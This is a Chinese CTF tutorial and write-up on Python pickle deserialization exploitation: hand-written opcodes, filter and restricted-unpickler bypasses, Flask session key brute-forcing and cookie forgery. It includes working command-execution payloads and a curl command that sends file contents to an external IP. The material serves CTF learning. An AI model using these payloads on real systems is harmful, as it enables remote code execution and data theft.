前言 算是遇到的比较难解决的一个问题。不能只说难,主要是指出难在哪里?主要是这类题目算是有三个方面的知识需要学习,一个是cookie的伪造等等(普通的cookie,或者JWT的session伪造),第二是py常规的一些魔术方法和反序列化,最后就是opcode的编写和waf的绕过。主要是关于第三点,感觉市面上的资料可能对于初学者来说不太好理解 参考大佬博客https://xz.aliyun.com/news/7032
基本知识 pickle简介 1.与php类似,python也有序列化功能以长期储存内存中的数据。pickle就是python下的序列化和反序列化包 2.pickle是python专用的。json是可以跨语言的。pickle可以表示python几乎所有的类型(包括自定义类型),json只能表示部分内置类型且不能表示自定义类型 3.pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行py代码,覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)
可序列化的对象 就像php序列化的操作一样,这里都是针对我们的对象 1.None/True/False 2.整数、浮点数、复数 3.str、byte、bytearray 4.只包含可封存对象的集合,包括tuple、list、set和dict 5.定义在模块最外层的函数,比如使用def定义。lambda函数不可以,这个是python的匿名函数,和常规py函数的使用有所不同,不太清楚或者py基础比较差的可以在大块空闲中好好学一下py,比如学生有的暑期 6.定义在模块外最外层的内置函数 7.定义在模块最外层的类 8.dict__属性值或者__getstate ()函数的返回值可以被序列化的类
object.reduce ()函数 在开发时,可以通过重写类的object.reduce ()函数,使之在被序列化时按照重写的方式进行。具体而言,py要求object.reduce ()返回一个(callable, ([para1,para2…])[,…]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数) 在下文的pickle的opcode中,R的作用与object.reduce ()关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R正好对应object.reduce ()函数,object.reduce ()的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的
pickel过程详细解读 1.pickle通过PVM进行 2.PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存: 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。 栈:由Python的list实现,被用来临时存储数据、参数以及对象。 memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。 比如解析str的过程
1 2 3 4 (S'str1' s'str2' I1234 t
首先是读一个(左小括号,这时stack记录MARK,S’’表示的就是记录字符串 I就是记录数字了,最后的t表示结尾 一步一步拆解就是这样 读取(
读取S’str1’
读取S’str2’
读取I1234
最后读取t
1 2 3 4 5 ('str1','str2',1234,) 1234 'str2' 'str1' MARK
PVM解析__reduce__过程
1 2 3 4 c__builtin__ file (S'/etc/passwd' tR
首先读取一二行 c__builtin__ file
然后读取(
再读取(S’/etc/passwd’
1 2 3 '/etc/passwd' MARK __builtin__.file
再然后读取t
1 2 ('/etc/passwd',) __builtin__.file
然后就是读取R,这里和py文件打开的那个还是很类似的
1 <open file '/etc/passwd',mode 'r' at 0x100525030>
这里又变成了执行命令
opcode opcode 这里的知识就是解决了要使用正确的版本才能得到正确的payload的题目,主要是protocol这个东方,之前是有ctf赛题要有protocol=0,不然得不到答案的,当时也只是简单看了一下wp照抄了一下 pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickle a={'1': 1, '2': 2} print(f'# 原变量:{a!r}') for i in range(4): print(f'pickle版本{i}',pickle.dumps(a,protocol=i)) # 输出: pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.' pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.' pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
一般都是用protocol=0的
使用pickletools可以方便的将opcode转换为便于肉眼读取的形式 运行
1 2 3 4 import pickletools data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03." pickletools.dis(data)
结果
1 2 3 4 5 6 7 8 9 10 11 12 13 0: \x80 PROTO 3 2: c GLOBAL 'builtins exec' 17: q BINPUT 0 19: X BINUNICODE "key1=b'1'\nkey2=b'2'" 43: q BINPUT 1 45: \x85 TUPLE1 46: q BINPUT 2 48: R REDUCE 49: q BINPUT 3 51: . STOP highest protocol among opcodes = 2 Process finished with exit code 0
漏洞利用 利用思路 任意代码执行或者命令执行 变量覆盖:通过覆盖一些凭证达到绕过身份验证的目的
初步认识:pickle EXP的简单demo 1 2 3 4 5 6 7 8 9 10 11 12 import pickle import os class genpoc(object): def __reduce__(self): s = """echo test >poc.txt""" # 要执行的命令 return os.system, (s,) # reduce函数必须返回元组或字符串 e = genpoc() poc = pickle.dumps(e) print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickle key1 = b'321' key2 = b'123' class A(object): def __reduce__(self): return (exec,("key1=b'1'\nkey2=b'2'",)) a = A() pickle_a = pickle.dumps(a) print(pickle_a) pickle.loads(pickle_a) print(key1, key2)
这个过一下有个印象就可以了
如何手写opcode 1.在CTF中,很多时候需要一次执行多个函数或者一次进行多个指令,此时就不能光用__reduce__来解决问题(reduce一次只有执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或者构造opcode了。 之前我的前两篇博客,都是要不就是简单的改一下cookie或者就是一个reduce就可以的了,不需要说手写opcode,这也是pickle反序列化比较难的地方 2.在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要复合pickle语法,就可以进行变量覆盖、函数执行等操作 3.根据不同版本,版本0的opcode是我们一般选择的 PVM解析__reduce__过程
1 2 3 4 c__builtin__ file (S'/etc/passwd' tR
这个过程不熟悉的一定多看下我的解析过程
常用opcode解析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 opcode 描述 具体写法 栈上的变化 memo上的变化 c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无 N 实例化一个None N 获得的对象入栈 无 S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈 无 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无 I 实例化一个int对象 Ixxx\n 获得的对象入栈 无 F 实例化一个float对象 Fx.x\n 获得的对象入栈 无 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 无 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无 ) 向栈中直接压入一个空元组 ) 空元组入栈 无 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无 ] 向栈中直接压入一个空列表 ] 空列表入栈 无 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无 } 向栈中直接压入一个空字典 } 空字典入栈 无 p 将栈顶对象储存至memo_n pn\n 无 对象被储存 g 将memo_n的对象压栈 gn\n 对象被压栈 无 0 丢弃栈顶对象 0 栈顶对象被丢弃 无 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无
这个肯定不是拿来背的,多做一些题目,多理解一点 还有一些注意点,过一下
1 2 3 4 5 6 7 8 此外, TRUE 可以用 I 表示: b'I01\n' ; FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。 由这些opcode我们可以得到一些需要注意的地方: 编写opcode时要想象栈中的数据,以正确使用每种opcode。 在理解时注意与python本身的操作对照(比如python列表的append对应a、extend对应e;字典的update对应u)。 c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。 pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。 s、u、b操作符可以构造并赋值原来没有的属性、键值对
拼接opcode 将第一个pickle流结尾表示结束的.去掉,将第二个pickle流与第一个拼接起来即可
全局变量覆盖 python源码
1 2 # secret.py name='TEST3213qkfsmfo'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # main.py import pickle import secret opcode='''c__main__ secret (S'name' S'1' db.''' print('before:',secret.name) output=pickle.loads(opcode.encode())#对内容进行反序列化 print('output:',output) print('after:',secret.name)
这里解析每一个对应的作用 导入两个模块不用说了 接下来开始编写模块 opcode=就是开始编写的这个过程 然后内容用类似于注释的方法三个单引号括起来 c__main__,第一行的,通过c获取全局变量secret,然后建立一个字典,并使用b对secret进行属性设置 全局变量覆盖的功能这个就是,这样就把我们原来的代码里面的name的内容进行了覆盖了
函数执行 这个很多时候ctf用的会比较多一些 与函数执行相关的opcode有三个:R,i,o。下面的三个命令都是要执行system(‘whoami’)的示例 R
1 2 3 4 b'''cos system (S'whoami' tR.'''
i
1 2 3 4 b'''(S'whoami' ios system .'''
o
1 2 3 4 b'''(cos system S'whoami' o.'''
实例化对象 实例化对象是一种特殊的函数执行,这里简单的使用R构造一下,其他方式类似
1 2 3 4 5 6 7 8 9 10 11 12 13 class Student: def __init__(self, name, age): self.name = name self.age = age data=b'''c__main__ Student (S'XiaoMing' S"20" tR.''' a=pickle.loads(data) print(a.name,a.age)
小总结 我觉得上面的总结是写的比较好的,能够比较清楚地解决opcode编写的第一步的问题。就是,认真看了,基本能够写一些简单的opcode了 接下来要解决的就是我们的这个waf的问题 再来看个小例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickle import os class Person(): def __init__(self): self.age = 18 self.name = "Pickle" def __reduce__(self): command = r"whoami" return (os.system, (command,)) p = Person() opcode = pickle.dumps(p) print(opcode) P = pickle.loads(opcode) print('The age is:' + str(P.age), 'The name is:' + P.name)
首先是导入两个模块 一个对象Person,里面有两个函数,__init__的作用就是定义函数的作用,reduce就是让我们在反序列化的过程中改原来的内容的 这个r的作用就是让字符串的反斜杠、不被解释为转义字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import pickle opcode = b'''cos system (S'whoami' tR.''' """ cos system c表示import 一个模块中的函数并作为对象压栈 (S'whoami' (表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈 tR. t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。 R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。 .表示程序结束,栈顶的一个元素作为pickle.loads()的返回值 """ pickle.loads(opcode) #xxx\21609 ———————————————— 版权声明:本文为CSDN博主「cllsse」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/google20/article/details/142071729
这个是另外的一个大佬的解析,也可以多参考一下 上面还有一个地方没有解释清楚的就是,这个.的作用 是为了执行多个命令,.是程序结束的标志,我们可以通过去掉.来将两个字节流拼接起来
1 2 3 4 5 6 7 8 9 10 11 import pickle opcode = b'''cos system (S'whoami' tRcos system (S'whoami' tR.''' pickle.loads(opcode)
绕过waf 使用b指令绕过R指令 当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略我们的__setstate__,但是__getstate__必须返回一个字典。如果__getstate__与__setstate__都被省略,那么就默认自动保存和加载对象的属性字典__dict__ 在pickle源码中,字节码b对应的是load_build()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def load_build(self): stack = self.stack state = stack.pop() #首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict inst = stack[-1] #获取该字典中键名为"__setstate__"的value setstate = getattr(inst, "__setstate__", None) #如果存在,则执行value(state) if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并 if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v #如果__setstate__和__getstate__都没有设置,则加载默认__dict__ if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build
让豆包来解析这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 def load_build(self): stack = self.stack # stack 是反序列化时的栈,存储中间结果 state = stack.pop() # 弹出栈顶元素:这是对象的状态数据(通常是字典或元组) # 栈顶现在剩下的是刚创建的对象实例(inst) inst = stack[-1] # 尝试获取对象的 __setstate__ 方法(如果定义了的话) setstate = getattr(inst, "__setstate__", None) # 如果对象自定义了 __setstate__ 方法,直接调用它来恢复状态 if setstate is not None: setstate(state) return # 执行完自定义方法后,直接返回 # 以下是没有自定义 __setstate__ 时的默认处理逻辑 slotstate = None # 如果状态是长度为2的元组,说明包含两部分:__dict__ 状态和 __slots__ 状态 if isinstance(state, tuple) and len(state) == 2: state, slotstate = state # 拆分普通属性和 slots 属性 # 处理普通属性(__dict__ 中的键值对) if state: inst_dict = inst.__dict__ # 获取对象的属性字典 intern = sys.intern # 用于字符串intern,优化内存 for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v # 将键转为interned字符串后存入属性字典 else: inst_dict[k] = v # 非字符串键直接存入 # 处理 __slots__ 定义的属性(如果有的话) if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) # 直接通过 setattr 给 slots 属性赋值 # 将 load_build 方法绑定到 BUILD 指令,反序列化遇到 BUILD 时调用 dispatch[BUILD[0]] = load_build
如果我们将字典{“setstate “:os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command) 这样也就执行了我们要的命令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import pickle class Person: def __init__(self, name, age=0): self.name = name self.age = age def __str__(self): return f"name: {self.name}\nage: {self.age}" class Child(Person): def __setstate__(self, state): print("invoke __setstate__") self.name = state self.age = 10 def __getstate__(self): print("invoke __getstate__") return "Child" opcode=b"""(c__main__ Person S'Casual' I18 o}(S"__setstate__" cos system ubS"whoami" b.""" """ }空字典入栈 u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对 第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state) 也就是os.system(command) """ fake = pickle.loads(opcode) #xxx\21609
绕过builtins 有的例子限死了module==”builtins” builtins模块提供了python的内置函数,在解析器启动的时候自动绕如 查看所包含的函数
1 2 3 4 import sys for i in sys.modules['builtins'].__dict__: print(i)
我们的目的是构造print(eval(“import (‘os’).system(‘whoami’)”))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import pickle import builtins import os print(builtins.getattr(builtins,'eval'))# 获取对象属性值 # <built-in function eval> # 但是我们c指令要给出instance,也就是说不能单独import builtins print(builtins.globals())#获取模块包含的内容 """ 返回的字典最后一个是 'builtins': <module 'builtins' (built-in)> """ print(builtins.getattr(builtins.dict,'get'))#获取get函数 print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')) # builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值 print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')) # <built-in function eval> opcode=b"""cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'builtins' tRS'eval' tR(S'__import__("os").system("whoami")' tR.""" # 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组 # 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")') pickle.loads(opcode) # xxx\21609
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode = b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR. ''' restricted_loads(opcode)
绕过关键字过滤 十六进制绕过
操作码S能识别十六进制字符串
S’\x73ecret’
V指令进行unicode绕过
Vsecr\u0065t
使用内置函数获取关键字 对于已导入的模块,我们可以通过sys.modules[‘xxx’]来获取该模块,然后通过内置函数dir()来列出模块中的所有属性 由于pickle不支持列表索引、字典索引、所以我们不能直接获取所需的字符串。在python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象 然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始
pk1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import pickle import sys import hello print(dir(sys.modules['hello'])) # ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret'] print(next(reversed(dir(sys.modules['hello'])))) # secret # 下面手写opcode获取secret字符串 opcode=b"""(((c__main__ hello i__builtin__ dir i__builtin__ reversed i__builtin__ next .""" print(pickle.loads(opcode)) # secret
进行变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import pickle import sys import hello class A(object): def __init__(self,uname,password): self.uname=uname self.password=password def get_password(uname): if uname=="hello": return hello.secret opcode=b"""c__main__ hello ((((c__main__ hello i__builtin__ dir i__builtin__ reversed i__builtin__ next I999 db(S'hello' I999 i__main__ A .""" a=pickle.loads(opcode) if a.uname=='hello': if(a.password==get_password('hello')): #覆盖了hello模块的secret变量,使其与实例a的password相等 print("success") #success
小总结2 这上面便是一些基础的知识,主要是针对opcode的手动编写 下面结合题目来深入,主要包括两个方面,一个是结合具体的代码,一个是弹出shell来解决问题
[MTCTF 2022]easypickle 345分 反序列化Cookie伪造Python 题目描述
简单的pickle反序列化 这里还给了一个附件 有一个app.py的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import base64 import pickle from flask import Flask, session import os import random app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(2).hex() @app.route('/') def hello_world(): if not session.get('user'): session['user'] = ''.join(random.choices("admin", k=5)) return 'Hello {}!'.format(session['user']) @app.route('/admin') def admin(): if session.get('user') != "admin": return f"<script>alert('Access Denied');window.location.href='/'</script>" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!" if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)
这个的逻辑大概就是/路由下会检测session是否存在user的键名,如果没有则从admin五个字符中随机赋值五个并输出;/admin路由下判断是否为admin,如果是则进行关键字替换和if判断,然后pickle反序列化 我们这里访问/admin路由,得到cookie
1 Cookie: commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4"; session=eyJ1c2VyIjoibm5kYWkifQ.aIXM3A.gLlGfmhILRagBn6d4gPxMarGe4w
要伪造cookie那么就需要密钥 参考爆破脚本
1 2 3 4 5 6 7 import os file_path='./key.txt' with open(file_path, 'w') as f: for i in range(1,9999): key = os.urandom(2).hex() f.write("\"{}\"\n".format(key))
前四行没有什么说的,没有的话会在当前路径下创建文件 第五行则是要按照题目的格式生成,第六行就是保证内容格式为
1 2 3 4 "3f7a" "9c2d" "e5b8" ...
这个脚本一次不一定跑的出来,我们将9999可以改为一个更大的数 项目在https://github.com/Paradoxis/Flask-Unsign 下载 然后安装
1 pip install flask-unsign
然后将脚本得到的key.txt放入Flask-Unsign-master下 最后运行
1 flask-unsign --unsign --cookie "eyJ1c2VyIjoibm5kYWkifQ.aIXM3A.gLlGfmhILRagBn6d4gPxMarGe4w" --wordlist key.txt
得到key,我这里是’d2cc’ 然后用到之前学习到的知识要加密一下
1 2 └─# python3 session3.py encode -s "d2cc" -t "{'user':'admin'}" eyJ1c2VyIjoiYWRtaW4ifQ.aIXS1g.lG4t0vRQ--fc5dBE1tY8bKmUT38
把这个cookie放上去,成功访问,但是还是报错说error 然后根据源码,思考如何进行pickle反序列化
1 2 3 4 5 6 7 8 9 try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!"
这里就是将opcode的关键字进行替换,然后把替换后并base64解码后的内容赋值给a;借着判断ifRiob这几种方式使得否在变量a里面, 没有才可以进行反序列化 接下来应该是有两种解法是比较好的,一个是外带数据出来。然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件内容外带出来
1 2 3 b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.''' #外带/3.txt的内容到服务器上
然后编写cookie
1 2 3 ┌──(root㉿kali)-[~] └─# python3 session3.py encode -s "d2cc" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}" eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRzY3o0dk15NTBlSFFuQ205ekxnPT0ifQ.aIXbTA.T5zxtemspc2_3_C2uEjY3lx50xw
py这边的脚本,注意要是字节流,前面加上b就可以了
1 2 3 4 5 import base64 str1=b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' str2=base64.b64encode(str1) print(str2)
然后准备接受
1 2 3 4 [root@iZtvt92ufty3mlZ ~]# nc -lnvp 12345 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::12345 Ncat: Listening on 0.0.0.0:12345
1 2 3 ┌──(root㉿kali)-[~] └─# python3 session3.py encode -s "d2cc" -t "{'user':'admin','ser_data':'。。 这里不能暴露我的公网ip
最后得到flag
总结 简单的opcode还是能够写的了,也只能慢慢地来积累了,一下子来很难的,那还是解决不了